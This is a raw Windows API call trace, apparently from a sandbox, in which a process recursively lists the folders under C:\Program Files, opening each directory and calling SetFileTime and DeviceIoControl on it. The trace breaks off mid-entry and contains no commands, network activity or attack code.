GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0x174f930 | out: lpFileInformation=0x174f930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3e1cad0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3e1cad0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0046.390] CreateFileW (lpFileName="C:\\Program Files" (normalized: "c:\\program files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0046.390] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f974, lpLastWriteTime=0x174f974) returned 0 [0046.390] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.390] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f9cc, lpOverlapped=0x0) returned 0 [0046.390] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.390] NtClose (Handle=0x148) returned 0x0 [0046.390] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0046.390] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0046.390] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f7a8 [0046.390] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f720 [0046.390] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x60d120 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3e1cad0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3e1cad0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.391] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0046.391] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0046.391] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0046.391] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0046.391] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0046.391] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89de8 [0046.391] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0046.391] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9f93ae30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f93ae30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9ff083d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff083d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9febc110, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9febc110, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fee2270, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fee2270, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f914cd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f914cd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 1 [0046.391] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 0 [0046.392] GetLastError () returned 0x12 [0046.392] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x60d0e0 [0046.392] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0046.392] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3e1cad0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3e1cad0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.392] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0046.392] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0046.392] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0046.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0046.392] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0046.392] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.392] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0046.392] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.392] NtClose (Handle=0x148) returned 0x0 [0046.392] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0046.392] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0046.392] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0046.392] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0046.392] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d120 [0046.392] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.393] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0046.393] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0046.393] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0046.393] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0046.393] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0046.393] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0046.393] GetLastError () returned 0x12 [0046.393] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d0a0 [0046.393] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0046.393] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.393] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0046.393] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.393] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0046.393] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0046.394] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.394] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0046.394] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.394] NtClose (Handle=0x148) returned 0x0 [0046.394] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.394] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.394] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0046.394] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0046.394] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0046.394] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, 